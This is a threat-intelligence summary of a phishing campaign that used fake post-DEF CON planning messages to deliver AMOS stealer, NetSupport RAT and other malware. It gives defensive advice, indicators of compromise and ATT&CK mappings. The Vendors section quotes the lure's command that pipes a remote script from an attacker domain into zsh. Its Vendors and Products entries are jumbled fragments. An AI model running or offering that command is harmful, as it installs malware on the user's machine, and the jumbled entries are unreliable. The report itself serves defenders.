Post-DEF CON Phishing Lures Deliver AMOS Stealer, NetSupport RAT and Other Malware
Summary
Huntress detailed phishing lures using X DMs and malicious documents to target a researcher with malware for macOS and Windows. The researcher did not fall for the lures; analysis uncovered infostealing, remote access, wallet theft and traffic interception.
Key points
- The actor used conference-planning pretexts in X messages to build trust, then directed the target to malicious Google Docs and a counterfeit DocSend installer.
- A Google Apps Script sidebar offered ClickFix-style instructions and manual downloads; the paths delivered AMOS infostealer on macOS and several payloads on Windows.
- The Windows chain deployed NetSupport Manager as a concealed remote-access tool, a Ledger wallet implant, and malware that installed a rogue certificate authority and redirected VirusTotal traffic through a local proxy.
- The macOS stealer targeted browser credentials, cryptocurrency wallets, Keychain data and Telegram files, and established persistence through a LaunchDaemon.
- The Windows installer profiled hosts and executed a recovered JavaScript payload in memory; researchers said the original campaign server was offline and they could not determine how many hosts were affected.
- Huntress advised isolating potentially affected systems, preserving forensic evidence, considering reimaging, and treating stored credentials and secrets as compromised.
Article Details
- Attack Vectors
- X direct messages used a fake post-conference planning pretext to send targets to weaponized Google Docs and counterfeit DocSend installers.
- A malicious Google Apps Script sidebar presented ClickFix-style instructions and manual download options for macOS and Windows payloads.
- The macOS chain used a shell command or a manually downloaded disk image to deliver an AMOS infostealer.
- The Windows chain used a ClickOnce installer or copy-and-paste PowerShell instructions to download and execute payloads.
- A counterfeit DocSend installer fingerprinted Windows hosts, retrieved JavaScript from a campaign endpoint, and delivered NetSupport RAT, a TLS-intercepting proxy, and a Ledger wallet implant.
- Defensive Notes
- Treat unexpected requests to run terminal commands, bypass Gatekeeper, install manual updates, or enter a device password as possible compromise attempts.
- If a device interacted with the lure, isolate it from the network, preserve relevant forensic evidence, and consider reimaging it.
- Assume credentials on an affected system may be compromised; revoke active sessions, reset passwords, and rotate API keys and other secrets.
- Review cryptocurrency wallets on affected systems.
Indicators of compromise
| Type | Indicator | Context |
|---|---|---|
| DOMAIN | apple-googleapi[.]com | Domain used by the macOS ClickFix-style command to retrieve a payload. |
| DOMAIN | apple[.]eu03hub[.]com | Malicious redirect destination serving the counterfeit macOS DocSend installer. |
| DOMAIN | microsoft[.]eu02hub[.]com | Malicious redirect destination serving the counterfeit Windows DocSend installer. |
| DOMAIN | msedgewebview1[.]pro | NetSupport RAT C2 domain. |
| DOMAIN | msedgewebview2[.]pro | NetSupport RAT C2 domain. |
| IPV4 | 192[.]253[.]248[.]181 | C2 and bot host used by the macOS polling backdoor. |
| IPV4 | 86[.]54[.]25[.]213 | Panel host receiving data stolen by the macOS malware. |
| IPV4 | 87[.]120[.]104[.]88 | Host IP address for the NetSupport RAT gateways. |
| MD5 | 281f1d9e0638517ac90d61e47fd8be60 | Hash of the trojanized Electron app bundle. |
| MD5 | 6dd77235aaa99153ad790b5e59b49372 | Hash of the weaponized NetSupport RAT installer. |
| MD5 | 8ca79bd95f73a7f984b95e487dc1552b | Hash of the malicious Electron/NSIS installer masquerading as DocSend. |
| MD5 | cd08e22dbfe032d15b54217f4f4ed350 | Hash of the Ledger wallet implant dropper. |
| MD5 | f4769ba9e8065727ef26cca72e894f83 | Hash of the TLS-intercepting proxy dropper. |
| SHA256 | 15afe14b5db2896d35a0c4f3139db85158da120fa90613c975c88f10bbbcc420 | SHA-256 hash of the GAPIUpdate app bundle executable. |
| URL | hxxp[:]//192[.]253[.]248[.]181/api/v1/getscpt/<username> | Backdoor endpoint that returns a crafted LaunchDaemon property list. |
| URL | hxxp[:]//86[.]54[.]25[.]213/log | Endpoint receiving archived stolen data from the macOS malware. |
| URL | hxxps[:]//1foqo[.]lat/core4 | Windows PowerShell loader URL. |
| URL | hxxps[:]//2fksf[.]lat/res10[.]php | URL serving an encrypted Windows payload. |
| URL | hxxps[:]//2fksf[.]lat/res11[.]php | URL serving an encrypted Windows payload. |
| URL | hxxps[:]//3pqow[.]lat/res12[.]php | URL serving an encrypted Windows payload. |
| URL | hxxps[:]//apple-googleapi[.]com/i | Payload-retrieval URL used in the macOS ClickFix-style command. |
| URL | hxxps[:]//gapidriver[.]com/installer/GapiUpdate[.]application | Actor-controlled installation location for the malicious Windows ClickOnce application. |
MITRE ATT&CK
T1005 · Data from Local SystemThe macOS malware collected browser data, cryptocurrency wallet data, keychain data, Telegram files, and Notes.app contents.T1027 · Obfuscated Files or InformationThe Windows attack used encrypted PowerShell and payloads, while the proxy and Ledger payloads XOR-encoded strings.T1036 · MasqueradingThe lures and payloads masqueraded as conference documents, DocSend installers, Google components, and Lenovo driver software.T1041 · Exfiltration Over C2 ChannelThe macOS malware sent archived stolen data to its panel host.T1055.012 · Process HollowingTwo Windows payloads hollowed MsBuild.exe and ran their payloads inside it.T1059.001 · PowerShellA PowerShell script downloaded and executed the Windows loader and read host keyboard-layout data.T1059.002 · AppleScriptThe macOS LaunchDaemon ran AppleScript that polled the C2 and accepted commands.T1059.007 · JavaScriptThe Windows loader executed retrieved JavaScript in memory through a Function constructor.T1071.001 · Web ProtocolsThe macOS backdoor polled its C2 over HTTP for actions, and the Ledger implant polled an HTTPS command endpoint.T1082 · System Information DiscoveryThe Windows loader collected host details including OS build, CPU, GPU, BIOS, memory, and hostname.T1105 · Ingress Tool TransferThe loaders retrieved scripts, archives, and payloads from attacker-controlled URLs.T1113 · Screen CaptureThe recovered JavaScript captured and uploaded a full desktop screenshot before other payload activity.T1204.002 · Malicious FileThe attack relied on targets running downloaded disk images and counterfeit installers.T1204.004 · Malicious Copy and PasteTargets were instructed to copy and paste commands or an encrypted PowerShell script to execute the infection chain.T1543.004 · Launch DaemonThe macOS malware installed a LaunchDaemon that ran in a privileged context and established a polling backdoor.T1547.001 · Registry Run Keys / Startup FolderThe Ledger implant created a Windows Run registry entry for persistence, although the article notes that the entry appeared incomplete.T1553.004 · Install Root CertificateThe proxy payload installed a self-signed certificate authority in the Windows root store and used it to forge a certificate.T1555.001 · KeychainThe macOS malware targeted keychain data.T1555.003 · Credentials from Web BrowsersThe macOS malware targeted browser passwords and cookies.T1557 · Adversary-in-the-MiddleThe proxy payload redirected VirusTotal traffic to a local proxy and intercepted it using a forged, trusted certificate.T1560.001 · Archive via UtilityThe macOS malware archived collected data before sending it to the panel host.T1566.003 · Spearphishing via ServiceThe actor used X direct messages with a conference-planning pretext to deliver malicious document and installer lures.
People
Andrew BrandtAcknowledged for contributions to the investigation and writeup.Ben NahorneyNamed article author.Jamie LevyAcknowledged for contributions to the investigation and writeup.Jonathan SemonNamed article author.Lindsey WelchAcknowledged for contributions to the investigation and writeup.Ryan DowdNamed article author.Stuart AshenbrennerAcknowledged for contributions to the investigation and writeup.
Malware
Atomic macOS Stealer (AMOS)Static analysis of the disk image reveals characteristics highly consistent with Atomic macOS Stealer (AMOS).Upon execution, the malicious file targets browser passwords and cookies, various cryptocurrency wallets,NetSupport RATThe macOS path delivered an AMOS infostealer, while the Windows path delivered NetSupport RAT, a Ledger wallet implant, and a traffic-intercepting proxy.SleestakFigure 19: The IP addresses hosting payload-delivery domain 1foqo[.]lat also host other domains associated with "Sleestak," a PowerShell based malware loader script
Vendors
Applecurl -fsSL https://apple-googleapi[.]com/i | zshDropboxthreat actor followed up the next day with a second malicious document. This document masqueraded as a Dropbox DocSend share and led to a counterfeit DocSend installer that delivered AMOS stealer to macOS users andGoogleHomeBlogPost-DEF CON Phishing Uses Google Doc Apps Script to Deliver MalwareLenovoThe second payload arrives dressed as a Lenovo driver package, using Lenovo version metadata and a genuine, stolen Lenovo code-signing certificate. The signature does not validate, though it would survive a glance.MicrosoftThese payloads are staged in %LOCALAPPDATA%\Microsoft\Windows\UpdateCache and are decoded as the following:
Products
DocSendA second payload imitated a DocSend installer to retrieve either the macOS or Windows payload.Dropboxthreat actor followed up the next day with a second malicious document. This document masqueraded as a Dropbox DocSend share and led to a counterfeit DocSend installer that delivered AMOS stealer to macOS users andGatekeeperThe .dmg file contains an ad-hoc signed application bundle and the instructions ask the user to bypass Apple's built-in macOS Gatekeeper feature, allowing it to run on the compromised system. Google Apps ScriptA malicious Google Apps Script supplied by the actor turned a Google Doc into an infection mechanism.Google DocsWhen a user opens the supposed planning document in Google Docs on a Windows system, they're also sent through the same "decryption" process. But when the fake decryption process fails in this case, they are presentedLedger LiveInstaller," then enumerates Ledger cryptocurrency wallet installations, checking C:\Program Files\Ledger Live and C:\Program Files\Ledger Wallet for their configuration files. It creates %APPDATA%\LedgermacOSThe campaign targeted macOS and Windows users with different payloads.Microsoft WindowsThe campaign targeted macOS and Windows users with different payloads.NetSupport ManagerPayload one: NetSupport Manager (RAT)VirusTotalIt's possible that these payloads had been used in previous campaigns as the binaries are available on VirusTotal. These files appear to connect to several dead domains and IP addresses.